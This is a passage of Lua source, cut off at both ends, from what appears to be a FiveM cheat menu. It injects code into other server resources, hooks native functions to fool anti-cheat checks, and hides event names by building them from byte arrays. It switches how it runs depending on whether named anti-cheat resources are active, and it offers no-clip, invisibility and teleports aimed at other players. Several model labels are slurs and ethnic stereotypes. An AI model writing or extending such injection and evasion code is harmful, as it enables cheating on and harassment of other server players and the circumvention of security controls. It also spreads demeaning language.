MachoUnhookNative(_G.oclipHookRefs.getPedParachuteState) end if _G.oclipHookRefs.getEntitySpeed then MachoUnhookNative(_G.oclipHookRefs.getEntitySpeed) end if _G.oclipHookRefs.getDistanceBetweenCoords then MachoUnhookNative(_G.oclipHookRefs.getDistanceBetweenCoords) end if _G.oclipHookRefs.getEntityHeightAboveGround then MachoUnhookNative(_G.oclipHookRefs.getEntityHeightAboveGround) end if _G.oclipHookRefs.getEntityVelocity then MachoUnhookNative(_G.oclipHookRefs.getEntityVelocity) end if _G.oclipHookRefs.startShapeTestRay then MachoUnhookNative(_G.oclipHookRefs.startShapeTestRay) end if _G.oclipHookRefs.isPedSwimming then MachoUnhookNative(_G.oclipHookRefs.isPedSwimming) end if _G.oclipHookRefs.isPedRagdoll then MachoUnhookNative(_G.oclipHookRefs.isPedRagdoll) end _G.oclipHookRefs = nil end MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No Clip Disabled", type = 'info' })) return end if GetResourceState("WaveShield") == 'started' then MachoInjectResourceRaw(GetResourceState("monitor") == "started" and "monitor" or GetResourceState("ox_lib") == "started" and "ox_lib" or "any", [[ _G.oclipEnabled = false _G.oclipThreadRunning = false ]]) else MachoInjectResourceRaw(GetResourceState("monitor") == "started" and "monitor" or GetResourceState("ox_lib") == "started" and "ox_lib" or "any", [[ _G.oclipEnabled = false _G.oclipThreadRunning = false ]]) end MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No Clip Disabled", type = 'info' })) end end }, { label = 'Dysnc No Clip', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Dysnc No Clip', onConfirm = function(setToggle) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if setToggle then if DysncNoClipActive == nil then DysncNoClipActive = false end DysncNoClipActive = true CreateThread(function() local ncped = nil local floor = nil if DysncNoClipActive then if not IsPedInAnyVehicle(PlayerPedId()) then local anim = "anim@amb@casino@hangout@ped_male@stand@02a@base" if not HasAnimDictLoaded(anim) then RequestAnimDict(anim) while not HasAnimDictLoaded(anim) do Wait(0) end end TaskPlayAnim(PlayerPedId(),anim,"base",4.0,4.0,-1,11,0.0) Wait(200) local pedmodel = GetEntityModel(PlayerPedId()) local c = GetEntityCoords(PlayerPedId()) ncped = CreateObject(GetHashKey("p_cs_joint_01"), c.x, c.y, c.z, false, false, false) SetEntityVisible(ncped, false, 0) AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) floor = CreateObject(GetHashKey("prop_cons_ply01"), c.x, c.y, c.z, false, false, false) SetEntityVisible(floor, false, 0) AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end end while DysncNoClipActive and not Unloaded do Wait(0) SetEntityVisible(floor, false, 0) SetEntityLocallyInvisible(PlayerPedId()) if not IsEntityAttached(PlayerPedId()) then AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end if not IsEntityAttached(floor) then AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end if IsPedInAnyVehicle(PlayerPedId()) then ped = GetVehiclePedIsIn(PlayerPedId(), false) else ped = ncped end local speed = 2.0 local c = GetOffsetFromEntityInWorldCoords(ped, 0, 0, 0) local camRot = GetFinalRenderedCamRot(2) -- lr function for rotation calculations local function lr(rotation, left) local minval = left and 90.0 or 0.0 return vector3(-math.sin(math.rad(rotation.z - minval)) * math.abs(math.cos(math.rad(rotation.x))), math.cos(math.rad(rotation.z - minval)) * math.abs(math.cos(math.rad(rotation.x))), math.sin(math.rad(rotation.x))) end local forward = lr(camRot, false) local left = lr(camRot, true) if IsDisabledControlPressed(0, 21) then speed = speed * 3 elseif IsDisabledControlPressed(0, 36) then c = vector3(c.x,c.y,c.z-speed+.0) end if IsDisabledControlPressed(0,150) then c = c + forward * speed end if IsDisabledControlPressed(0,151) then c = c - forward * speed end if IsDisabledControlPressed(0,147) then c = c - left * speed end if IsDisabledControlPressed(0,148) then c = c + left * speed end if IsDisabledControlPressed(0,154) then c = vector3(c.x,c.y,c.z-speed+.0) end if IsDisabledControlPressed(0,22) then c = vector3(c.x,c.y,c.z+speed+.0) end SetEntityRotation(ped, camRot, 2) SetEntityCoordsNoOffset(ped,c.x,c.y,c.z,1,1,1) end -- Cleanup when disabled DetachEntity(PlayerPedId()) -- Only DeleteEntity calls use injection for WaveShield SafeInjectResourceRaw(InjectionResource(), string.format([[ DeleteEntity(%d) DeleteEntity(%d) ]], ncped or 0, floor or 0)) CreateThread(function() while IsEntityPlayingAnim(PlayerPedId(), "anim@amb@casino@hangout@ped_male@stand@02a@base", "base", 3) do Wait(0) StopAnimPlayback(PlayerPedId()) end end) end) else if DysncNoClipActive ~= nil then DysncNoClipActive = false end end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ if %s then if DysncNoClipActive == nil then DysncNoClipActive = false end DysncNoClipActive = true Citizen.CreateThread(function() local ncped = nil local floor = nil if DysncNoClipActive then if not IsPedInAnyVehicle(PlayerPedId()) then local anim = "anim@amb@casino@hangout@ped_male@stand@02a@base" if not HasAnimDictLoaded(anim) then RequestAnimDict(anim) while not HasAnimDictLoaded(anim) do Wait(0) end end TaskPlayAnim(PlayerPedId(),anim,"base",4.0,4.0,-1,11,0.0) Wait(200) local pedmodel = GetEntityModel(PlayerPedId()) local c = GetEntityCoords(PlayerPedId()) ncped = CreateObject(GetHashKey("p_cs_joint_01"), c.x, c.y, c.z, false, false, false) SetEntityVisible(ncped, false, 0) AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) floor = CreateObject(GetHashKey("prop_cons_ply01"), c.x, c.y, c.z, false, false, false) SetEntityVisible(floor, false, 0) AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end end while DysncNoClipActive and not Unloaded do Wait(0) SetEntityVisible(floor, false, 0) SetEntityLocallyInvisible(PlayerPedId()) if not IsEntityAttached(PlayerPedId()) then AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end if not IsEntityAttached(floor) then AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) end if IsPedInAnyVehicle(PlayerPedId()) then ped = GetVehiclePedIsIn(PlayerPedId(), false) else ped = ncped end local speed = 2.0 local c = GetOffsetFromEntityInWorldCoords(ped, 0, 0, 0) local camRot = GetFinalRenderedCamRot(2) -- lr function for rotation calculations local function lr(rotation, left) local minval = left and 90.0 or 0.0 return vector3(-math.sin(math.rad(rotation.z - minval)) * math.abs(math.cos(math.rad(rotation.x))), math.cos(math.rad(rotation.z - minval)) * math.abs(math.cos(math.rad(rotation.x))), math.sin(math.rad(rotation.x))) end local forward = lr(camRot, false) local left = lr(camRot, true) if IsDisabledControlPressed(0, 21) then speed = speed * 3 elseif IsDisabledControlPressed(0, 36) then c = vector3(c.x,c.y,c.z-speed+.0) end if IsDisabledControlPressed(0,150) then c = c + forward * speed end if IsDisabledControlPressed(0,151) then c = c - forward * speed end if IsDisabledControlPressed(0,147) then c = c - left * speed end if IsDisabledControlPressed(0,148) then c = c + left * speed end if IsDisabledControlPressed(0,154) then c = vector3(c.x,c.y,c.z-speed+.0) end if IsDisabledControlPressed(0,22) then c = vector3(c.x,c.y,c.z+speed+.0) end SetEntityRotation(ped, camRot, 2) SetEntityCoordsNoOffset(ped,c.x,c.y,c.z,1,1,1) end -- Cleanup when disabled DetachEntity(PlayerPedId()) DeleteEntity(ncped) DeleteEntity(floor) Citizen.CreateThread(function() while IsEntityPlayingAnim(PlayerPedId(), "anim@amb@casino@hangout@ped_male@stand@02a@base", "base", 3) do Wait(0) StopAnimPlayback(PlayerPedId()) end end) end) else if DysncNoClipActive ~= nil then DysncNoClipActive = false end end ]], tostring(setToggle))) end end }, { label = 'Full Invisible', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Full Invisible', onConfirm = function(setToggle) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if setToggle then if FullInvisibleActive == nil then FullInvisibleActive = false end FullInvisibleActive = true -- Store original position if OriginalPosition == nil then OriginalPosition = GetEntityCoords(PlayerPedId()) end CreateThread(function() local ncped = nil local floor = nil if FullInvisibleActive then if not IsPedInAnyVehicle(PlayerPedId()) then local anim = "anim@amb@casino@hangout@ped_male@stand@02a@base" if not HasAnimDictLoaded(anim) then RequestAnimDict(anim) while not HasAnimDictLoaded(anim) do Wait(0) end end TaskPlayAnim(PlayerPedId(),anim,"base",4.0,4.0,-1,11,0.0) Wait(200) local pedmodel = GetEntityModel(PlayerPedId()) local c = GetEntityCoords(PlayerPedId()) -- Go under the map first SetEntityCoordsNoOffset(PlayerPedId(), c.x, c.y, c.z - 200, 1, 1, 1) Wait(1000) -- Create dysnc objects under the map ncped = CreateObject(GetHashKey("p_cs_joint_01"), c.x, c.y, c.z - 200, false, false, false) SetEntityVisible(ncped, false, 0) AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) floor = CreateObject(GetHashKey("prop_cons_ply01"), c.x, c.y, c.z - 200, false, false, false) SetEntityVisible(floor, false, 0) AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) -- Wait a bit for dysnc to establish Wait(2000) -- Now return to original position with dysnc active DetachEntity(PlayerPedId()) SetEntityCoordsNoOffset(PlayerPedId(), OriginalPosition.x, OriginalPosition.y, OriginalPosition.z, 1, 1, 1) -- Clean up objects after establishing dysnc Wait(500) if ncped ~= nil then DeleteEntity(ncped) ncped = nil end if floor ~= nil then DeleteEntity(floor) floor = nil end end end while FullInvisibleActive and not Unloaded do Wait(0) SetEntityLocallyInvisible(PlayerPedId()) end -- Only cleanup objects when disabled, don't move player if ncped ~= nil then DeleteEntity(ncped) end if floor ~= nil then DeleteEntity(floor) end CreateThread(function() while IsEntityPlayingAnim(PlayerPedId(), "anim@amb@casino@hangout@ped_male@stand@02a@base", "base", 3) do Wait(0) StopAnimPlayback(PlayerPedId()) end end) end) else if FullInvisibleActive ~= nil then FullInvisibleActive = false end end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ if %s then if FullInvisibleActive == nil then FullInvisibleActive = false end FullInvisibleActive = true -- Store original position if OriginalPosition == nil then OriginalPosition = GetEntityCoords(PlayerPedId()) end Citizen.CreateThread(function() local ncped = nil local floor = nil if FullInvisibleActive then if not IsPedInAnyVehicle(PlayerPedId()) then local anim = "anim@amb@casino@hangout@ped_male@stand@02a@base" if not HasAnimDictLoaded(anim) then RequestAnimDict(anim) while not HasAnimDictLoaded(anim) do Wait(0) end end TaskPlayAnim(PlayerPedId(),anim,"base",4.0,4.0,-1,11,0.0) Wait(200) local pedmodel = GetEntityModel(PlayerPedId()) local c = GetEntityCoords(PlayerPedId()) -- Go under the map first SetEntityCoordsNoOffset(PlayerPedId(), c.x, c.y, c.z - 200, 1, 1, 1) Wait(1000) -- Create dysnc objects under the map ncped = CreateObject(GetHashKey("p_cs_joint_01"), c.x, c.y, c.z - 200, false, false, false) SetEntityVisible(ncped, false, 0) AttachEntityToEntity(PlayerPedId(),ncped, 11816, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) floor = CreateObject(GetHashKey("prop_cons_ply01"), c.x, c.y, c.z - 200, false, false, false) SetEntityVisible(floor, false, 0) AttachEntityToEntity(floor, PlayerPedId(), 11816, 0.0, 0.0, -2.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) -- Wait a bit for dysnc to establish Wait(2000) -- Now return to original position with dysnc active DetachEntity(PlayerPedId()) SetEntityCoordsNoOffset(PlayerPedId(), OriginalPosition.x, OriginalPosition.y, OriginalPosition.z, 1, 1, 1) -- Clean up objects after establishing dysnc Wait(500) if ncped ~= nil then DeleteEntity(ncped) ncped = nil end if floor ~= nil then DeleteEntity(floor) floor = nil end end end while FullInvisibleActive and not Unloaded do Wait(0) SetEntityLocallyInvisible(PlayerPedId()) end -- Only cleanup objects when disabled, don't move player if ncped ~= nil then DeleteEntity(ncped) end if floor ~= nil then DeleteEntity(floor) end Citizen.CreateThread(function() while IsEntityPlayingAnim(PlayerPedId(), "anim@amb@casino@hangout@ped_male@stand@02a@base", "base", 3) do Wait(0) StopAnimPlayback(PlayerPedId()) end end) end) else if FullInvisibleActive ~= nil then FullInvisibleActive = false end end ]], tostring(setToggle))) end end } } }, { name = 'Clothing', submenu = { { label = 'Remove All Clothes', type = 'button', canBind = true, bindName = 'Remove All Clothes', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = PlayerPedId() for i = 1, 11 do SetPedComponentVariation(ped, i, 0, 0, 0) end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() for i = 1, 11 do SetPedComponentVariation(ped, i, 0, 0, 0) end ]]) end end }, { label = 'Default Outfit', type = 'button', canBind = true, bindName = 'Default Outfit', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = PlayerPedId() SetPedDefaultComponentVariation(ped) else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ local ped = PlayerPedId() SetPedDefaultComponentVariation(ped) ]]) end end }, { label = 'Random Outfit', type = 'button', canBind = true, bindName = 'Random Complete Makeover', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function UxrKYLp378() local UwEsDxCfVbGtHy = PlayerPedId local FdSaQwErTyUiOp = GetNumberOfPedDrawableVariations local QwAzXsEdCrVfBg = SetPedComponentVariation local LkJhGfDsAqWeRt = SetPedHeadBlendData local MnBgVfCdXsZaQw = SetPedHairColor local RtYuIoPlMnBvCx = GetNumHeadOverlayValues local TyUiOpAsDfGhJk = SetPedHeadOverlay local ErTyUiOpAsDfGh = SetPedHeadOverlayColor local DfGhJkLzXcVbNm = ClearPedProp local function PqLoMzNkXjWvRu(component, exclude) local ped = UwEsDxCfVbGtHy() local total = FdSaQwErTyUiOp(ped, component) if total <= 1 then return 0 end local choice = exclude while choice == exclude do choice = math.random(0, total - 1) end return choice end local function OxVnBmCxZaSqWe(component) local ped = UwEsDxCfVbGtHy() local total = FdSaQwErTyUiOp(ped, component) return total > 1 and math.random(0, total - 1) or 0 end local ped = UwEsDxCfVbGtHy() QwAzXsEdCrVfBg(ped, 11, PqLoMzNkXjWvRu(11, 15), 0, 2) QwAzXsEdCrVfBg(ped, 6, PqLoMzNkXjWvRu(6, 15), 0, 2) QwAzXsEdCrVfBg(ped, 8, 15, 0, 2) QwAzXsEdCrVfBg(ped, 3, 0, 0, 2) QwAzXsEdCrVfBg(ped, 4, OxVnBmCxZaSqWe(4), 0, 2) local face = math.random(0, 45) local skin = math.random(0, 45) LkJhGfDsAqWeRt(ped, face, skin, 0, face, skin, 0, 1.0, 1.0, 0.0, false) local hairMax = FdSaQwErTyUiOp(ped, 2) local hair = hairMax > 1 and math.random(0, hairMax - 1) or 0 QwAzXsEdCrVfBg(ped, 2, hair, 0, 2) MnBgVfCdXsZaQw(ped, 0, 0) local brows = RtYuIoPlMnBvCx(2) TyUiOpAsDfGhJk(ped, 2, brows > 1 and math.random(0, brows - 1) or 0, 1.0) ErTyUiOpAsDfGh(ped, 2, 1, 0, 0) DfGhJkLzXcVbNm(ped, 0) DfGhJkLzXcVbNm(ped, 1) end UxrKYLp378() else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ local function UxrKYLp378() local UwEsDxCfVbGtHy = PlayerPedId local FdSaQwErTyUiOp = GetNumberOfPedDrawableVariations local QwAzXsEdCrVfBg = SetPedComponentVariation local LkJhGfDsAqWeRt = SetPedHeadBlendData local MnBgVfCdXsZaQw = SetPedHairColor local RtYuIoPlMnBvCx = GetNumHeadOverlayValues local TyUiOpAsDfGhJk = SetPedHeadOverlay local ErTyUiOpAsDfGh = SetPedHeadOverlayColor local DfGhJkLzXcVbNm = ClearPedProp local function PqLoMzNkXjWvRu(component, exclude) local ped = UwEsDxCfVbGtHy() local total = FdSaQwErTyUiOp(ped, component) if total <= 1 then return 0 end local choice = exclude while choice == exclude do choice = math.random(0, total - 1) end return choice end local function OxVnBmCxZaSqWe(component) local ped = UwEsDxCfVbGtHy() local total = FdSaQwErTyUiOp(ped, component) return total > 1 and math.random(0, total - 1) or 0 end local ped = UwEsDxCfVbGtHy() QwAzXsEdCrVfBg(ped, 11, PqLoMzNkXjWvRu(11, 15), 0, 2) QwAzXsEdCrVfBg(ped, 6, PqLoMzNkXjWvRu(6, 15), 0, 2) QwAzXsEdCrVfBg(ped, 8, 15, 0, 2) QwAzXsEdCrVfBg(ped, 3, 0, 0, 2) QwAzXsEdCrVfBg(ped, 4, OxVnBmCxZaSqWe(4), 0, 2) local face = math.random(0, 45) local skin = math.random(0, 45) LkJhGfDsAqWeRt(ped, face, skin, 0, face, skin, 0, 1.0, 1.0, 0.0, false) local hairMax = FdSaQwErTyUiOp(ped, 2) local hair = hairMax > 1 and math.random(0, hairMax - 1) or 0 QwAzXsEdCrVfBg(ped, 2, hair, 0, 2) MnBgVfCdXsZaQw(ped, 0, 0) local brows = RtYuIoPlMnBvCx(2) TyUiOpAsDfGhJk(ped, 2, brows > 1 and math.random(0, brows - 1) or 0, 1.0) ErTyUiOpAsDfGh(ped, 2, 1, 0, 0) DfGhJkLzXcVbNm(ped, 0) DfGhJkLzXcVbNm(ped, 1) end UxrKYLp378() ]]) end end }, { label = 'Give Outfit Menu', type = 'button', canBind = true, bindName = 'Open Clothing Shop', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("dasadsadsdsada") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local eventName = _d({105,108,108,101,110,105,117,109,45,97,112,112,101,97,114,97,110,99,101,58,99,108,105,101,110,116,58,111,112,101,110,67,108,111,116,104,105,110,103,83,104,111,112}) TriggerEvent(eventName, true) else -- Use Macho injection when WaveShield is not running MachoInjectResourceRaw("any", [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _t(n) return _g(_b("TriggerEvent"))(n) end local function OpenClothingShopMenu() local eventName = _d({105,108,108,101,110,105,117,109,45,97,112,112,101,97,114,97,110,99,101,58,99,108,105,101,110,116,58,111,112,101,110,67,108,111,116,104,105,110,103,83,104,111,112}) _t(eventName, true) end OpenClothingShopMenu() ]]) end end } } }, { name = 'Model', submenu = { { label = 'Model Changer', type = 'scroll', selected = 1, canBind = true, bindName = 'Change Player Model', options = (function() local modelOptions = {} for i, modelName in ipairs(PedData.Models.b) do local imageUrl = PedData.Models.c[modelName] or "https://via.placeholder.com/171x456" local displayName = modelName:gsub("_", " "):gsub("^%l", string.upper) -- Special name formatting for better readability if modelName == "mp_m_freemode_01" then displayName = "Default Player" elseif modelName == "g_m_m_chicold_01" then displayName = "Criminal" elseif modelName == "ig_djgeneric_01" then displayName = "Gangster Vegas" elseif modelName == "csb_anton" then displayName = "Fat Boss" elseif modelName == "a_m_y_hippy_01" then displayName = "Jack Sparrow" elseif modelName == "u_m_y_staggrm_01" then displayName = "Exhibitionist" elseif modelName == "u_m_y_party_01" then displayName = "Hussein" elseif modelName == "u_m_m_jesus_01" then displayName = "Jesus" elseif modelName == "u_f_o_carol" then displayName = "Teenage Girl" elseif modelName == "s_m_m_strperf_01" then displayName = "Statue" elseif modelName == "ig_johnnyklebitz" then displayName = "Dead Guy" elseif modelName == "s_f_y_hooker_02" then displayName = "Hooker" elseif modelName == "a_c_chimp" then displayName = "Monkey" elseif modelName == "a_m_m_afriamer_01" then displayName = "Black Fat Ass" elseif modelName == "u_m_y_mani" then displayName = "Mexican" elseif modelName == "ig_avery" then displayName = "Old Businessman" elseif modelName == "ig_malc" then displayName = "Afro American" elseif modelName == "a_f_m_fatcult_01" then displayName = "Fat Bitch" elseif modelName == "a_m_m_golfer_01" then displayName = "Old Golf Guy" elseif modelName == "a_m_m_tramp_01" then displayName = "Homeless" elseif modelName == "a_m_o_beach_01" then displayName = "Repulsive Junkie" elseif modelName == "u_m_y_zombie_01" then displayName = "Zombie" elseif modelName == "u_m_y_juggernaut_01" then displayName = "Robot" elseif modelName == "u_m_m_partytarget" then displayName = "Arabic" elseif modelName == "u_m_y_imporage" then displayName = "Super Hero" elseif modelName == "a_m_m_acult_01" then displayName = "Gay" elseif modelName == "mp_m_bogdangoon" then displayName = "Terrorist" elseif modelName == "s_m_m_fibsec_01" then displayName = "FIB" elseif modelName == "s_m_y_dealer_01" then displayName = "Gangster" elseif modelName == "ig_jimmyboston_02" then displayName = "Gangster2" elseif modelName == "S_M_M_Paramedic_01" then displayName = "Paramedic" elseif modelName == "s_f_y_stripper_01" then displayName = "Stripper" elseif modelName == "s_m_y_cop_01" then displayName = "Cop" elseif modelName == "U_M_O_TapHillBilly" then displayName = "Rich Old Man" elseif modelName == "s_m_o_busker_01" then displayName = "Old Man" elseif modelName == "u_m_y_pogo_01" then displayName = "Pogo" elseif modelName == "s_m_m_movspace_01" then displayName = "Astro" elseif modelName == "s_m_m_movalien_01" then displayName = "Alien" elseif modelName == "CS_BradCadaver" then displayName = "Invisible" end table.insert(modelOptions, { label = displayName, model = modelName, image = imageUrl }) end return modelOptions end)(), onConfirm = function(selectedModel) Citizen.CreateThread(function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" -- Store original model for anti-cheat bypass if not _G.nexusModelChangerHookRefs then _G.nexusModelChangerHookRefs = {} _G.nexusOriginalModel = GetEntityModel(PlayerPedId()) _G.nexusPlayerPedId = PlayerPedId() -- Hook GetEntityModel to return original model when checked _G.nexusModelChangerHookRefs.getEntityModel = MachoHookNative(0x9F47B058362C84B5, function(entity) if _G.nexusModelChangerActive and entity == PlayerPedId() and _G.nexusOriginalModel then return false, _G.nexusOriginalModel end end) -- We intentionally DO NOT hook HasModelLoaded here because standard Macho hooks -- can sometimes consume the return value for all other models, breaking model changes -- until the menu is un-injected. end -- Activate model changer hooks _G.nexusModelChangerActive = true if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) RequestModel(GetHashKey(selectedModel.model)) while not HasModelLoaded(GetHashKey(selectedModel.model)) do Wait(0) end SetPlayerModel(PlayerId(), GetHashKey(selectedModel.model)) SetPedDefaultComponentVariation(PlayerPedId()) else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ Citizen.CreateThread(function() -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function GykR8qjWTp() local nHgFdSaZxCvBnMq = _g(_b("RequestModel")) local xCvBnMqWeRtYuIo = _g(_b("HasModelLoaded")) local aSdFgHjKlQwErTy = _g(_b("SetPlayerModel")) local oPlMnBvCxZlKjHg = _g(_b("SetPedDefaultComponentVariation")) local BnMqWeRtYuIoPl = _g(_b("GetHashKey")) local ErTyUiOpAsDfGh = _g(_b("PlayerId")) local TyUiOpAsDfGhJk = _g(_b("PlayerPedId")) nHgFdSaZxCvBnMq(BnMqWeRtYuIoPl("%s")) while not xCvBnMqWeRtYuIo(BnMqWeRtYuIoPl("%s")) do _w(0) end aSdFgHjKlQwErTy(ErTyUiOpAsDfGh(), BnMqWeRtYuIoPl("%s")) oPlMnBvCxZlKjHg(TyUiOpAsDfGhJk()) end GykR8qjWTp() end) ]], selectedModel.model, selectedModel.model, selectedModel.model)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Changed to: " .. selectedModel.label, type = 'success' })) end hideImageInSvelte() end) end, onChange = function(selectedModel) sendImageToSvelte('model', selectedModel.image, selectedModel.label) end } } } } }, -- REST OF YOUR MENU CONTINUES HERE - JUST REPLACE THE PLAYER SECTION ABOVE -- Copy all your other menu sections (Server, Weapon, Dynamic Triggers, etc.) below this comment { label = "Server", type = 'submenu', icon = 'ph-users', tabs = { { name = 'PlayerList', submenu = (function() local newPlayerList = getRealPlayerData() local playerSubmenu = {} -- Add separator table.insert(playerSubmenu, { label = '--- Select Player ---', type = 'button', onConfirm = function() end }) -- Add players with enhanced info for _, player in ipairs(newPlayerList or {}) do table.insert(playerSubmenu, { label = player.name .. " (" .. player.id .. ")", type = 'checkbox', checked = selectedPlayerId == player.id, playerId = player.id, playerData = player, -- Store full player data canBind = true, bindName = 'Select ' .. player.name, onConfirm = function(setToggle) if setToggle then selectedPlayerId = player.id --- ("Selected player for trolling:", player.name, "ID:", player.id) -- Send player data to UI for info panel if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setSelectedPlayer', playerData = player })) end -- Uncheck all other players for i, menuItem in ipairs(activeMenu) do if menuItem.playerId and menuItem.playerId ~= player.id then menuItem.checked = false end end else selectedPlayerId = nil -- Clear player info panel if dui then MachoSendDuiMessage(dui, json.encode({ action = 'clearSelectedPlayer' })) end --- ("Deselected player") end setCurrent() end }) end playerList = newPlayerList return playerSubmenu end)() }, { name = 'Safe', submenu = { { label = 'TP to Player', type = 'button', canBind = true, bindName = 'TP to Player', onConfirm = function() local targetId = selectedPlayerId if targetId and targetId > 0 then -- First check if player exists in our player list local targetFound = false for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPlayer = GetPlayerFromServerId(selectedPlayerId) if targetPlayer ~= -1 then targetFound = true -- Check if ReaperV4/WaveShield/EC_AC is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("ReaperV4") == "started" or GetResourceState("WaveShield") == "started" or GetResourceState("EC_AC") == "started" if waveShieldRunning then -- Direct execution for ReaperV4/WaveShield/EC_AC (no injection needed) local myPed = PlayerPedId() local targetPlayerId = GetPlayerFromServerId(targetId) if targetPlayerId ~= -1 then local targetPed = GetPlayerPed(targetPlayerId) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) then local targetCoords = GetEntityCoords(targetPed) SetEntityCoords(myPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) end end else -- Use Macho injection when ReaperV4/WaveShield/EC_AC is not running SafeInjectResourceRaw(InjectionResource(), ([[ local function GhJkUiOpLzXcVbNm() local kJfHuGtFrDeSwQa = %d local oXyBkVsNzQuH = GetPlayerFromServerId local pXqWrTyUiOpAs = GetPlayerPed local zXcVbNmQwErTyUi = GetEntityCoords local xAsDfGhJkLpOiU = SetEntityCoords local myPed = PlayerPedId() local targetPlayerId = oXyBkVsNzQuH(kJfHuGtFrDeSwQa) if targetPlayerId ~= -1 then local targetPed = pXqWrTyUiOpAs(targetPlayerId) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) then local targetCoords = zXcVbNmQwErTyUi(targetPed) xAsDfGhJkLpOiU(myPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) end end end GhJkUiOpLzXcVbNm() ]]):format(targetId)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Teleported to Player: " .. tostring(player.name or targetId), type = 'success' })) end break end end end if not targetFound then --- ("Selected player not found or invalid!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Selected player not found or invalid!", type = 'error' })) end end else --- ("No player selected for teleporting!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for teleporting!", type = 'warn' })) end end end }, { label = 'TP Player to Me', type = 'button', canBind = true, bindName = 'TP Player to Me', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPlayer = GetPlayerFromServerId(selectedPlayerId) if targetPlayer ~= -1 then VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local CreateThread = _G.CreateThread or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetClosestVehicle = _G.GetClosestVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local NetworkHasControlOfEntity = 